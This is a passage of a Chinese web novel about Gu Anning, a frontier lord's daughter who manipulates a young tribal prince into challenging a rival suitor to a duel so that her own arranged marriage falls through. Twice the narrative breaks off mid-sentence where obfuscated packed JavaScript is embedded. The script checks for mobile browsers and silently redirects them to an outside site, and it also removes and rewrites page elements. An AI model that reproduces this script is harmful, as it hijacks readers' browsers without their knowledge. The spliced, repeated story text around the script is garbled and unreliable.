《安宁》 2. 1 时值九月初,正是草场最丰美的时候。齐膝深的绿草地像毛茸茸的毯子一般柔滑丰密,无边无际地铺陈。数条溪流泛着粼粼的波光在草原上流淌,沿着溪流两岸许多白色的黄色的小花盛开着,在风中轻轻摇曳。 溪水平静的水面泛起了层层波纹,远处出现了一群少年少女的身影。他们穿着色泽鲜艳的衣饰,骑着快马,正在草原上疾驰。随着他们渐渐接近,马蹄起落声如同奔雷,马蹄踏进溪水里,顿时溅起无数碎玉飞花,晶莹的水珠在阳光中彷如宝石闪闪发光。 群马奔腾中,顾安宁骑着一匹白色的天马一马当先。她一甩长鞭,皮鞭在空中炸出一个响亮的鞭花。白马雪莲听见鞭响再度提速,空中荡出她清脆的笑声。她穿着褐色的骑马服,手腕脚腕处都用兽皮收紧,她手腕上戴着金色的铃铛串,轻灵的响着叮叮当当的声音。她用五彩的丝带扎了一头细细的长辫,随着马儿的疾驰,长辫在她身后随之跃动,身上火红色的披风随风飞舞,像一团灵动燃烧的火焰。 拓罗河部的世子额尔骑着一匹红棕色的天马紧紧咬在她之后。前方出现了层层飘扬的彩旗,那是赛马的终点线。随着越来越接近终点,额尔也加快了脚程越发地咬在安宁之后不放,慢慢地二人呈并驾齐驱之势,向着终点处齐头并进。 高远的天空上有个黑点在盘旋,那是安宁的猎鹰海翼。它伸展着巨大的双翅,紧紧跟随着下方雪莲奔跑的方向。眼看着下方的马群靠近终点,海翼发出了一声清啼。 安宁听见鹰啼声,扭头看了眼身旁的额尔,前方终点线处的彩旗绳已经清晰可见,各部人的欢呼声叫骂声尖叫声此起彼伏如海浪般远远袭来。再有片刻两人便要冲线,她突然抬手,手中马鞭甩过一个精准的弧度,准确无误的打在对手马匹的侧脸上。额尔的马儿狂奔中突然受袭吃痛,先是甩了甩头降低了速度,然后人立而起发出暴怒的嘶鸣,这一下极为突然,若不是额尔反应快迅速拽紧了缰绳,就要将他掀下马去。 安宁发出得逞的笑声,趁机冲线。等额尔控制住马儿,她已经在终点处站定。她身上缠绕着代表终点线的彩旗绳,轻柔的旗面和她的碎发在风中微微飘扬,她双眼晶亮,调转马头得意洋洋地看着他。 额尔到了终点,翻身下马,阴沉着脸将手里的皮鞭和缰绳扔给了一旁的随从。安宁挑衅地扬了扬头,居高临下地看着他:“怎么样,额尔,你服不服?” 额尔怒道:“你方才若不耍诈,咱两谁赢还不一定!” 安宁挑了挑眉毛:“你自己没能耐控马不行,怪得了谁?再说了,你自个儿离我太近才给了我可乘之机,你若离得远远地,我能耐你何?!” 额尔一时语塞,忍不住骂道:“你强词夺理!” 安宁做了个鬼脸:“你输不起!” “谁输不起?!”额尔一伸手,旁边的侍从赶紧送上一个檀木盒子,他啪地打开,里面放着一串串着五彩宝石的狼牙项链,他涨红了脸举起盒子,“拿走!” 安宁看了眼身旁的侍从,侍卫首领刘金虎上前取走了额尔手里的盒子转身奉给安宁:“县君。” 安宁得意地扫了额尔一眼,对刘金虎道:“我们走!” 额尔阴沉着脸看着安宁一行人离去的背影,他的随侍着急地上前道:“世子!你把大妃的狼牙项链给了她,回去如何同大首领交代?!” 额尔扭头瞪向随侍没有回答,恨恨地拂袖而去。 十几年过去,开阳城已经大变样。一座巍峨的城池拔地而起座落在草原上。面向赤刹海草场的方向,高大厚重的城墙如同一面坚实的盾牌,沿着南北方向延伸,巨龙一般横卧着将七座大城连为一体。 城墙上的石道可并行五辆马车十分开阔,箭垛后隐约可见寒光闪烁,那是太阳映在其后士兵盔甲和武器上的反光。因着城墙的便利,石道同时成为了七城往来最便利的通道,其上行商小贩、前来游历的游客、往来走亲戚的百姓络绎不绝,呈现出一幅繁华向荣的景象。 城门处排着长长的队伍在等待验证身份文书进城,守卫正在查验时从城里出来一队手持长戟的士兵,将排队的众人驱赶到一旁避让,亮出了进城的甬道。众人纷纷伸长了脖子,看着缓缓而来的一行马队。 安宁骑着雪莲走在队伍中间,她继承了父母的好相貌,肤若凝脂眼如秋水,嘴唇红润丰泽,少女初成,如同花骨朵般娇美。此时海翼收拢了双翼,站在她的胳膊上。海翼虽然还是半大的幼鸟,体型已经十分惊人,一双褐色琉璃般的双眸十分敏锐,脖子上的金色毛发标志着它金雕的身份,锋利的长爪回扣,紧紧抓着安宁胳膊上的护臂,转动着脑袋看着道路两侧敬畏的平民百姓。 娇柔的少女和凶悍的猎鹰两相对比下形成了巨大的反差。看着这个身骑白马带着金雕满身贵气的美丽少女,城门处所有人不自禁的变得拘束,不敢发出一点声音。方才还喧闹如同菜市场的城门口,只能听见马蹄起落声,直到安宁一行人离开很远,士兵们撤去了城门处的封禁,众人才仿佛如梦初醒一般,慢慢地恢复了交谈,低声议论着方才惊鸿一瞥的宁国贵女。 夕阳西沉,暮色渐起,天空变成了灰蓝色。广袤无垠的赤刹海草场上燃起了一堆一堆的篝火,各部落的青年男女们穿着节日的衣裳在篝火旁围坐,有人在弹琴、有人在烤肉、有人在唱歌、有人在翩翩起舞。 这几日是秋狩节,一年中草场上最热闹的时候。安宁脱去了宁国贵女的服饰,换上了外部人的节日长袍:重工刺绣的华丽缎服边缘滚着白色的狐皮,脚上穿着一双小羊皮靴。她也学着外部人女子用特制的咖色细粉涂黑了皮肤,掩去了原本白皙的面容。她学着她们戴着层层叠叠的长项链,其中最为显眼的便是那串五彩宝石的狼牙项链,岁月日久,月白色的狼牙已经玉化,在火光下闪着莹润的光泽。 安宁兴奋地拉着丫鬟白蔻和沉香在人群中穿梭,最后寻了个空地席地而坐,看着眼前的青年男女们手牵着手合着音乐和拍子跳着欢快的舞蹈。沉香坐到安宁身旁同她一起打着节拍看热闹,白蔻有些害怕,左右看了看俯到安宁耳边:“姑娘,这里都是外部人……” 安宁不愿听她多说,拉着她的手在自己身旁坐下:“快看,要角力了!” 跳舞的青年男女们散开,露出了中间的空场。两个裸着上半身的壮汉上前,互相行了个传统的礼节后,便低头撞到一起开始角力,场地里顿时爆发出震天的欢呼加油声。 安宁被现场的气氛感染,站起身在场边又叫又跳,挥舞着拳头大声喊着加油。 她虽然穿着外部女子的传统服饰又涂黑了面容,但与生俱来的的气质让她看上去与场间众人截然不同,再加上她戴着的那条狼牙项链,原本坐在一旁喝闷酒的额尔一眼便认出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她不可以嫁给少布!”额尔紧紧握着拳头,隔着场间远远看着那处活泼的安宁,只觉得自己马上要失去什么很重要的东西,心里非常慌乱。 “她不嫁给少布,难道嫁给你?”多乐哼了一声,“这是你我说了能算的?!” “她……”额尔看着安宁,视线落到她胸前的狼牙项链上,脑子一热,“她同我早已情定!自然不可再嫁给少布!” “噗!”阿泰刚入口的一口酒顿时喷了出去,抬头目瞪口呆地看着额尔,“你在说什么鬼话?!” 话一出口,额尔瞬间心里转过了无数念头,干脆把话咬死:“你们看看她戴着什么项链?那是我母妃的遗物,我族的规矩你们都知道,这般珍贵的东西若非情定,我如何能赠与她?” 阿泰用袖子擦着脸上的酒渍,扭头仔细查看了会儿安宁面前的项链,看着额尔一时间说不出话来。 “好好好。”多乐皮笑肉不笑地鼓了鼓掌,拿起一杯酒对额尔道,“兄弟,哥哥我在这里恭喜你了!” 额尔没有接这杯敬酒,撇下诸人横穿过草场径直走到安宁面前。安宁被他挡住视线正要发火,看清是他,得意地笑了笑,用小手指勾起面前的狼牙项链故意举到他面前,眨眨眼问他:“如何,我戴这项链,好不好看?” 额尔一把抓住她的手腕拉着她往旁边走:“你同我来,我有话和你说。” 3. 2 看着安宁被额尔拉走,白蔻急了想要追上去:“姑娘!” 额尔身后的侍卫上前挡在了白蔻面前,客客气气地行了个礼:“白蔻姑娘你莫急,我们小世子只是想同县君说两句话。” 安宁任由额尔拉着她往无人的空地上走,回头冲着沉香眨了眨眼睛。沉香会意,一扭头消失在了人群中。 两人往旁边走了几十步,安宁挣开了额尔的手,揉着自己的手腕似娇还嗔:“你弄疼我了。” 额尔后悔自己心急手上力气大了些:“我不是故意……” “说罢。”安宁打断了他的话,“你要同我说什么?” 夜色已起,天空是近乎黑色的墨蓝。今夜无月,星河漫天。不远处的篝火熊熊燃烧着,火焰在夜色中随风张扬地飞舞。火光映在她的面庞上,给她柔嫩的面颊镀上了一层流动的暗金色,那火焰似乎也在她眼睛里跃动,同样肆意张扬,让他方才鼓起的勇气像被戳破的球一样瘪了下去,额尔张了张嘴,却说不出更多的话来:“我,我……” 她看着他,习惯性的用自己的手指勾着细细长长的碎辫玩,她看上去狡黠又聪明,带着七分的故意:“你想要说什么,你说啊!” 额尔突然明白过来,定定的看着她:“你知道我要说什么,是不是?” “啧。”她轻嗤一声,有些轻蔑他的退缩,“我又不是你肚子里的蛔虫,你不说,我怎么知道你想说什么?!”她低头漫不经心地揉着手腕,看着他在她面前纠结不已,等了片刻他还是犹豫着不开口,她转身往回走,“你不说拉倒,我回去了。” “安宁!”他见她要走,心里一慌,她的名字冲口而出,“你别走!” 她停下脚步转过身看着他,一接触到她的目光他又觉得心脏砰砰乱跳,浑身僵硬发麻,额头浸出了冷汗,口干舌苦,想说的话就在齿尖萦绕,偏偏说不出半个字来。 她收了方才戏谑的表情,美丽的脸蛋浮上了一层漠然和高高在上的神色,她冷冷看着他:“我的名字也是你叫得的?!” “县君!”一直在不远处跟着的刘金虎在沉香的带领下到了近前。他手里握着长刀上前行礼,“时辰不早了,县君还请早些回府,以免夫人担心。” 看着安宁的背影,额尔神情灰败,她最后话里的居高临下就像一块巨石压碎了他心里的那点小心思,让他看清了两人间的鸿沟,可是他又十分不甘心。 额尔捏紧了拳头。 安宁把玩着胸前的狼牙项链,在众侍卫的护送下一路回了城主府。刚到门口就看见一辆厚重的马车正停在正门前。那马车通体用楠木制成,由十二匹战马牵引,正是顾林书的座驾。 马车前后跟着密密麻麻全副武装的亲兵,夜色里森然有序。 安宁高兴的跳下马跑了过去:“爹!” 顾林书刚迈上台阶,闻言停下脚步回头,女儿像一阵风般掠过众人扑进他的怀里,扬起脸蛋娇俏地看着他:“你回来了!” 他身上穿着暗紫色的四爪蟒袍,身上披着及地的黑色重缎披风。十几年的杀伐生涯让他浑身充满了隐隐的血腥气,威严森冷。但在面对女儿时,他流露出温暖的一面,他抬手抚摸她涂黑的脸颊,捻了捻指尖:“跑出去玩了?” “这几日秋狩啊!”她扑在他怀里,小狗一样用脸贴着他,“爹,我好想你。” 顾林书牵着女儿的手大步往里走,一边取笑她:“我不在家没人约束你,你这个皮猴还不翻了天,怎么会想我?” “哪里有?”安宁反驳,“你不在,我特别听娘的话,不信,你问她!” 父女二人回了正院内室暖阁落座,绿松上前替顾林书解下披风退到一旁,小丫鬟奉上了果茶。顾林书神色间隐有疲惫,却仍打着精神微笑看着女儿:“秋狩好不好玩?” “还行。”安宁举起手指头一边掰一边道,“也就是赛赛马、打打猎、烤烤羊晚上再弄个篝火会一类,外部各族都赶了过来,是比平日里热闹些。”她双手撑着头眼睛亮晶晶的看着父亲,“爹,你回来给我带礼物了吗?” “在这儿等着我呢?”顾林书宠溺地笑看着女儿,“没带!” 安宁从椅子上跳下来不依地跺脚:“爹,你回京城好几天,怎么不给我带礼物!哪怕是带些京城的香膏花饼也行啊!你不给我带,是不是压根没想着我?” “带了带了。”顾林书失笑,握着安宁的手将她拉到面前,借着屋里的灯火仔细打量她。小姑娘今年满了十四岁,已经有了少女的模样。随着一日一日长开,美貌日显。她继承了他的桃花眼,只是如今年龄还小,尚未透出半缕风情,眼神清澈可爱。他略带责备,“去把脸上涂的劳什子洗了,好端端地学什么外部贱民,给自己弄得像煤球一样!” 她倒是对自己这咖色的皮肤挺满意,得意地晃了晃脑袋:“就是黑,我也比她们都好看!”她追问,“礼物呢?” 顾林书没有再责备女儿:“东西挺多。马车停去了偏院。眼下时辰不早,明儿个一早再让人把箱笼送去你院子。”他轻轻推了推她,“去洗了!” 安宁欢呼一声,不再同父亲纠缠礼物的事情,转身跑出了暖阁。 李月桦刚刚哄小儿子睡下,就听丫鬟来报顾林书回府的消息。她回了正院,见丈夫还穿着蟒袍坐在椅子上看着窗外的夜幕一动不动。她上前轻轻把手按在他的肩头:“你一路奔波也累了,怎么不去梳洗换身衣裳?” 顾林书抬手按住妻子的手背:“此次回京,太后宣我进宫,提及了少布的婚事。” 李月桦微微皱眉,在顾林书身旁落座:“朝廷要和亲?” 顾林书轻轻叹了口气:“刹什同乌日更联名上了折子,意欲为少布求娶一宁国贵女为王子大妃。” 刹什是如今金帐王庭的王,乌日更是他的大妃,少布是其长子,未来的草原王。李月桦瞬间想通了其中的关窍,眉头皱得更紧,语气中也带上了几分不悦:“京城那么多旁支落魄的宗室,从中选几个有野心的抬封号嫁过去,她们怕是争抢都来不及,怎么盘算到了宁儿头上!” 顾林书沉吟片刻:“宁儿同少布相识,这怕是少布自己的心思。” 夫妻二人面面相觑,神色间均带上了一丝愁容。 这些年外部同宁国间虽仍然摩擦不断,但再没爆发大规模的征战,一直维持着一种微妙动态的平衡。大宁经过十几年的休养生息,在王太后与三位辅政重臣的治理下,国力日渐强盛。而刹什也约束着自己的族民,借着与大宁通商全力恢复实力,这十几年来同样兵强马壮。 顾林书坐镇西北,权势日盛犹如亲王,凌云州成为了梗在外部人咽喉上的一柄利刃。内草场数万中军铁骑时刻提醒着外部各族不可轻举妄动。开阳城外的三座三丈多高、用外部人人头垒起来的京观早已风化得只余累 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安宁沐浴后恢复了自己白皙的肌肤。她披散着一头长发穿着柔软的棉质白色里服趴在床榻上,手里把玩着额尔输给她的狼牙项链。白蔻和沉香站在榻边,一人拿着木齿梳替她梳头,一人拿着棉巾不停手的擦着头发上的水份。 看见李月桦两人同时停手起身行礼:“夫人。” 李月桦道:“你们出去。” 白蔻和沉香垂头鱼贯而出,安宁赶紧将项链塞到枕头底下坐起身看向母亲:“娘,你怎么来了?” 李月桦在榻边落座,伸手顺了顺安宁脸颊边的碎发,拿起沉香放下的棉巾,轻轻替她擦拭着头发:“我过来看看你。” 安宁没有动,柔顺的让母亲打理着她的长发,母女二人一时无言。小时候安宁十分粘母亲,大弟弟顾文裕出生后,母亲忙于照顾他,母女二人很少再有这般慈爱的独处时刻。眼下烛火昏黄,母亲温软的手指轻轻打理着她的头发,安宁小猫般舒服地眯起了眼睛。直到头发干了八九分,李月桦才将她的头发辫成一个长辫垂在身后:“时辰不早了,早些睡。” 安宁乖巧应下钻进被窝,李月桦替她掖好被子,又伸手爱怜地轻轻抚摸了一会儿她的脸颊,这才离开。 李月桦前脚一走,安宁后脚就坐起了身,向外头喊道:“白蔻!” 白蔻赶紧进了屋子:“在呢在呢,姑娘您有什么吩咐?” “你去正院打听打听。”母亲的反常引起了她的怀疑,李月桦皱着眉头,“今儿个晚上有什么事情。” 白蔻很快就从绿松那里弄清楚了事情的来龙去脉,慌张地跑回来将事情一股脑的告诉了安宁,她整个人慌得不行:“怎么办啊姑娘,若是上头下旨赐婚,你岂不是就要嫁到外部去了?!” 嫁给少布?! 她脑海里浮现出少布那肥胖又不可一世的样子。少布比她还小上一岁,却是个心狠手辣之徒。曾经在马场只因一个仆从不小心用茶水弄湿了他的衣服,他便手拿皮鞭将其活活殴打致死,其后还将尸体暴晒三日,任由鸟兽啄食。 他性格暴虐喜怒无常,喜用人头盖骨制成的酒杯饮酒,还用少女的皮制成灯罩。这样的人,无论如何也嫁不得。 安宁跳下地,顾不上天气寒冷,赤脚在青砖地上来回走了几圈。她一定要赶在朝廷下旨之前把这桩婚事搅黄,事情还要闹大到人尽皆知不可收拾才好。 她突然停下脚步,转身吩咐白蔻:“你让刘金虎去同额尔递个话,明日我约他在草甸见面。” 4. 3 前一天晚上下了半宿雨,草甸里积起了一个一个的小水洼,像一面一面镶嵌在地面的小镜子,倒映着雨后碧空如洗的天空。 额尔有些紧张的等待在草甸中央,透过地面的水洼不断地打量着自己。他时不时地整理着自己的衣物,又扯了扯袖口,有些后悔穿了一身暗金色的衣裳出来,先前还觉着暗金色的缎面闪闪发光,现在却觉得俗气得厉害,满心忐忑不知道安宁看了会不会嫌弃。 终于前方传来了马蹄声,雪莲白色的身影风一般出现在地平线上。额尔往前迎了几步,眼里满含着喜悦看着跳下马的安宁:“安……县君。” 安宁将马绳和皮鞭扔给一旁的刘金虎,踩着地面的水洼走向额尔,娇俏地微微偏头看着他:“你等了很久?” 他赶紧摆手:“不久不久,我也刚到一会儿。” 两人说着话一前一后向着草甸深处走,身后的侍卫和丫鬟们自觉地留在了原地远远看着他们的身影。等到确定这个距离诸人都听不见他们的交谈,安宁停下脚步转身看了额尔一眼,低头踢了一脚地上的石子:“你那天晚上,想要同我说什么?我再给你一次机会,你说。” “我……”额尔咽了口口水,紧张感再度袭来,不知如何同她开口。 雨后初晴,阳光不烈,掠过草原的风轻轻吹起她脸颊边的碎发,她的侧脸安静柔美,小巧的鼻子,红润的唇,天鹅般曲线优美的脖子,她就像是上天精雕细琢而成一般。这么近距离的看着她,他被她的美貌迷得神魂颠倒。 安宁侧头飞快地看了他一眼,转过身去只留给他一个背影,她的声音闷闷地传来:“……我爹从京城回来了。” “哦。”他不知道她为什么要提这个,有些笨拙地回答,“城主去了好几日,也该回来了。” 安宁弯腰摘了一朵嫩黄的小雏菊,捏在指间把玩,额尔呆头呆脑的样子让她有些不耐,她压下了心头不悦,决定把话说透:“刹什和乌日更上了折子,为少布向大宁求娶王子大妃。” 额尔的脸刷地一下变得雪白。他想起了昨日阿泰说的话,一时间失魂落魄,若是大宁朝廷赐婚将安宁许给了少布,他又能奈何? 安宁说完这句话等了片刻,身后的额尔却迟迟没有反应。她回头看见他没有丝毫血色的脸庞,他眼神灰败地看着她,一副大受打击的模样,这让她越发肯定自己心里的判断,安宁偏过头,声音里带上了几分恐惧:“上次在马场,他拿皮鞭活活打死了那个侍从,我眼睁睁地看着好好的一个人就那么死在了我面前。额尔哥哥,我……我害怕……” 她的一声额尔哥哥,就像是注入他绝望心境的强心剂,让他瞬间生出了无数的希望,他上前一步,声音颤抖着问:“你……你刚才叫我什么?” 她低着头转身,脸颊上飞着让人心动的红晕。她漫无目的地用脚尖踢着地面:“你要是不喜欢,我不叫就是了。” “没有没有!”他急得赶紧分辩,声音虽然颤抖却带着无穷的喜悦,“我,我很喜欢。你这么喊我,我心里欢喜得紧。” 她终于抬头看他,小鹿般无辜的大眼睛里闪烁着泪光:“额尔哥哥,朝廷若是真的赐婚,我……我怎么办?” 她何时流露过这般恐惧无助的神情?顾安宁一向明艳张扬骄傲,永远都是高高在上的样子。她在向他求助,她叫他额尔哥哥。他用力捏紧了拳头:“你等我!我不会让你嫁给少布!” 他斩钉截铁地说完这句话,转身就走。安宁跟着他往前跑了几步,惊慌失措的想要拦下他:“额尔哥哥!你要去做什么?!” 额尔抬手招来侍从,飞身上马。他低头看向她:“你等我的消息便是!”说罢他不再等她多说什么,扬鞭策马而行。 马儿飞驰带起来的风吹乱了她的头发,安宁捋了捋自己的乱发,方才恐惧无辜的神色从她脸上消失。她扔掉了手里的小雏菊,冲着不远处的刘金虎招了招手,后者牵来她的马。安宁吩咐:“让人跟着过去打听着,看看他都做了什么。” 刘金虎应下:“是!” 额尔骑马飞驰,心口蕴着一团熊熊燃烧的烈火。他径直去了王庭所在的草场,少布正同几个部族的世子一起在射箭,额尔径直骑到少布近前才跳下马,冲着他大喊一声:“少布!你不能娶顾安宁!” 少布早看见了他,听见他说的话冷哼一声没有搭理,仍是弯弓搭箭冲着远处的草靶射出了一箭,方才看向他:“你有什么资格跑到我面前来指手画脚?!” 额尔涨红了脸:“她是我的女人!” 他这话一出,在场众人皆爆发出一阵大笑,少布笑得直不起腰来。他好容易止住笑声擦去脸上笑出来的眼泪:“额尔,你睡迷糊了还是撞着头了?跑来同我说什么浑话?!顾安宁是你的女人?!白日做梦吧你?!” 额尔扬起头,安宁的那声额尔哥哥犹在耳边,他不屑地看着少布:“痴心妄想的是你!我同她早已情定,你肖想我的女人,我要和你在山神的见证下决斗!” 这话一出,笑声戛然而止,在场诸人面色各异地看着额尔。在外部,只有化不开的死仇才会在山神的见证下决斗,且是不死不休的结局。 方才还在一旁看热闹的阿泰忍不住出言呵斥:“额尔,你疯了?!” 少布猛然举起拳头制止周围的人再说话,他阴鹜地看着额尔,不管他说的话是真是假,他说出了这句,他便断然不能再留他! “把话传出去,让王庭同七部的所有人都知道!”少布一个字一个字的吩咐自己的侍从,“我少布要同额尔在山神的见证下决斗!”他慢慢走向额尔,一直到几乎和他脸贴脸才停下,他阴冷地盯着额尔,“我要让你知道冒犯我的下场!” 额尔丝毫不惧,同样紧紧盯着他:“走着瞧!” 为了顾安宁少布和额尔要在山神的见证下决斗的消息像长了翅膀一样传遍了整个草原,也传到了顾林书的耳朵里。 城主府正院偏厅里,顾林书端坐在主位上,李月桦坐在他身侧,夫妇二人皆板着脸看向站在面前的安宁。整个正院的丫鬟仆从们都被远远撵了出去,只有林嬷嬷一人守在正院门口,不让旁人进入。 夫妻两人中间的木桌上放着一个打开的檀木盒子,里面放着的正是那串五彩宝石狼牙项链。 “说罢。”顾林书沉着脸,“这串项链怎么来的?” 一大早拓罗河部的大首领哈仁就让人前来登门拜访,使者先是说了少布要和额尔决斗的事情,然后言谈间提及了大妃的遗物狼牙项链额尔作为信物赠与了安宁。顾林书将事情告知了李月桦,李月桦让林嬷嬷去安宁房间一搜,就从她的枕头下面翻出了这串狼牙项链。 李月桦担忧地看着女儿,忍不住也开口询问:“宁儿,你……你真同那额尔有私?” “天地良心!”安宁开口分辨,“女儿虽然淘气了些,礼义廉耻却还是知道的!这项链明明是前几日赛马他输给我的!你们若是不信,大可以问问刘金虎!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273246|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好。”顾林书按下了项链的事情不再追问,“那我再问你,额尔说你和他已经情定,要为了你和少布决斗又是怎么回事?!” “一、女儿没有和他情定,我和他清清白白没有半点私情。”安宁坦然回答,“女儿不曾同他来往过密也不曾有过半分言语暧昧。二、他同少布决斗确实和我有关,是我故意言语挑唆,激了他去找少布,我原只是想着让他闹上一闹,我也不知他会寻他决斗。” 顾林书沉脸问:“你为何要这么做?” “为何你们还不知吗?”安宁抬头倔强地看着父母,“难不成真要女儿嫁给少布?!” 李月桦刚要开口,被顾林书抬手制止,他看着安宁:“你让额尔去闹事,就能不嫁给少布?” 安宁扬着头,神色间满是不服:“他去闹上一闹,王庭如何能允许未来的大妃曾经同其他部族的世子不清不楚?他们择妃恨不能人选比天山雪莲还洁净!我就希望他去闹,闹到人尽皆知,他闹了,这婚事不就成不了了?” 顾林书笑看向李月桦,见妻子脸上也带上了笑意。他评价道:“虽然是小孩子胡闹,也不能说没有一点道理。” 见父母脸上都露出了笑意,安宁松了一口气,上前几步想要扑到父亲怀里撒娇:“爹……” 顾林书又板上了脸伸手指着地面:“站那儿别动。” 安宁顿住脚步,不高兴的撅起了嘴。 李月桦问女儿:“额尔是否曾经向你吐露过心意?” “他倒是想。”安宁轻哼一声,“他像个木头一样,在我面前就吞吞吐吐说不出话来。” 顾林书追问:“你如何激的额尔去寻事,一字一句不要隐瞒,同我说清楚。” 安宁当下把草甸里自己和额尔的对话一字不漏地同父母复述了一遍。 李月桦听完忍不住开口:“这事儿你做的不对。” “我哪儿做的不对?”安宁不服,“是爹教我要善于利用所能用的一切,成大事者不拘小节!做人万般皆白是愚蠢,我动脑子自己解决问题,我错在哪儿?!” “你的错有三处。”李月桦并不生气女儿顶嘴,平心静气道,“一、你私自让人从父母的院子里打探消息,这是犯上;二、你不信任父母能解决这件事情,自己抢先出手,这是自大;三、你利用的是别人对你的一片真情真心,善于利用一切但是做人要有底线,不可无所不用其极,这是不善。” 安宁抿紧了唇看向顾林书,眼神中满是不服气:“爹,你是不是曾经教过我,很多时候,过程即使错误,只要结果是好的对的,那么就不要去考虑过程的对错?” 李月桦沉声反驳:“那也不可做事没有底线!” 李月桦不悦地看向顾林书,妻子女儿都盯着自己,顾林书不由得苦笑,他头痛地扶额吩咐安宁:“你先下去吧。” 等到安宁离开,顾林书起身走到李月桦身边轻轻揽住她的肩膀:“不要生气。” 李月桦面带愁容地摇了摇头:“生气倒不曾,只是觉着管不住她,真怕她捅出什么大篓子来!咱家这三个孩子,文星才两岁不提,文裕性格柔顺的像个女孩子,安宁无法无天倒像个男孩子!他们姐弟两要是能中和一下多好!” 顾林书拍了拍妻子的肩:“别急,孩子还小,慢慢教就是。” 安宁刚出了父母的院子,白蔻就紧张的迎上前,她整个人都在微微发抖:“姑娘,额尔世子来了,现下正在大门外候着呢。” 5. 4 安宁瞪大了眼睛:“他来做什么?” 白蔻紧张地绞着手指:“他不光自己来,他带了好多人,好长的车队,我看那车上一箱一箱装的满满当当,好像全是礼物。” “什么?”安宁有些急了,“你看清楚了?” “看清楚了啊。”白蔻害怕地看着安宁,“小世子不是来寻你啊姑娘,他是来寻城主。” 安宁呆住,看着大门的方向怔愣了片刻,用力跺了跺脚,转身跑向正院。 顾林书已经得到了门房处的传信,知道拓罗河部的大首领哈仁领了额尔带着无数礼物上门。看着安宁急匆匆跑来,他放下手里的拜帖:“现在知道慌了?” “爹!”安宁焦急地上前一把握住顾林书的胳膊,“女儿对天发誓,同额尔没有半分私情!我不愿嫁给少布,也不愿沾染额尔半分!女儿同他清清白白啊爹!” “额尔为了你要在山神的见证下和少布决斗,又将他母妃珍贵的遗物给了你,事情到了这一步,自然要把同你的事情定下来。”李月桦合上了狼牙项链的盖子,“额尔是单纯了些,他爹哈仁可不是傻子,岂会在一切没有落定前让额尔去同少布拼命?你就算同额尔清清白白,今日他上门也一定要定下这个名分。” 安宁这时候才感觉到害怕,她自诩聪明,却不曾想事情并没有按照她设想的方向去走,完全脱离了她的预计。她扑进李月桦的怀里,抬头看着母亲,露出了小女儿的娇态:“爹,娘,你们救救女儿,我不想嫁去外部!” 顾林书吩咐来传话的侍从:“把人请到前院正厅去。” 安宁着急地喊住站起身的顾林书:“爹!” 顾林书让绿松拿走了桌上的狼牙项链,伸手摸了摸安宁的头顶,温声道:“我同你娘又如何愿意你嫁去外部?莫非你觉着我要将你许给少布不成?” 安宁有些愧疚地低下了头:“女儿只是想着不可抗旨,这才擅自行事。” 顾林书轻叹一声,转身去了前院。 哈仁在正厅下首首位坐着,额尔侍立在一旁,满怀期待地不断张望着门外。哈仁喝着茶,脸上满是喜气。初时听见额尔要同少布决斗,他恨不能打断他的腿,将他叫到跟前细细的一问,他竟然同安宁县君郎有情妾有意!这可是天大的喜事! 这些年金帐王庭对各部的约束早已不同老王在世的时候。草原上嘛,从来也不是某一个部族稳坐那大王之位,素来是能者居之。若是能同顾林书结为儿女亲家,他便能获得宁国中军的支持,那么王庭那大王之位,便在他伸手可得之处了。 一看见顾林书哈仁立刻起身,向他行了草原最隆重的抱手礼:“城主!” 顾林书微笑回礼:“大首领。” 额尔的视线落到顾林书身后,没有看见那个期盼的身影,他的脸上露出几分失望,但他很快就调整了情绪恭敬向顾林书行礼:“小侄见过城主大人!” 顾林书点了点头在主位落座。 “我前些日子回了趟京城。”顾林书不疾不徐地开口,“回来才知道小女顽劣,同小世子赛马,骗他用了大妃的遗物做彩头。是我教女无方,让大首领见笑了。宁儿我已经严厉责罚,这狼牙项链还请大首领收回。” 他说着话,一旁的绿松奉上了狼牙项链,将檀木盒子放在了哈仁手边的木桌上。他特地打开盒盖,让几人清楚地看见原物完好无损,这才悄无声息地退到一旁。 哈仁听了顾林书的话,看着手边的项链,脸上神色数变。最开始的喜气和得意消失,他的脸上闪过一丝凝重,他抬头看了身旁的儿子一眼,见他一副震惊茫然的样子,他的态度拘谨了许多:“是我教子无方才是,小儿淘气,竟然偷拿了母妃遗物做彩头,实在惭愧。” 顾林书露出一个满意的笑容:“孩子们都还小,不懂事慢慢教,不要过于责罚。” 哈仁赶紧应下:“城主说的是。”哈仁起身再行了个礼,“今日我带小儿来讨要他母妃的遗物,实在是不该。只是我对亡妻感情深厚,对我部而言狼牙项链更有特殊的意义这才做出这般失礼之举。我备下了一些薄礼以表歉意,还请城主笑纳。” 他说着话让侍从奉上了带来的礼单。额尔在一旁听得云里雾里,出门前爹明明说的是上门提亲,怎么到了这里变成了讨要母妃的遗物。他心里着急,忍不住开口喊道:“爹!” “住嘴!”哈仁回头恶狠狠地瞪了儿子一眼,“我同城主大人还有要事相商,你去外面等着!” 额尔不敢反驳,只得行了个礼退了下去。 初秋的阳光温暖地洒在庭院里,院子里种的几株秋海棠打上了满树的花苞,将开未开。额尔站在长廊下,阳光落到他的身上,他却感觉不到半点暖意。他虽然不知方才在正厅里发生了什么,却也知道自己同安宁的婚事怕是起了大的波折。 哈仁同顾林书商议了大半个时辰,正厅的门才打开,哈仁客气的转身:“城主请留步!” 顾林书道:“那我便不远送了。” 哈仁再度弯腰向顾林书行礼,这才带着额尔和一干人离了城主府。 回去的马车上,一直憋着的额尔迫不及待地开口询问:“爹!我和安宁的事……” 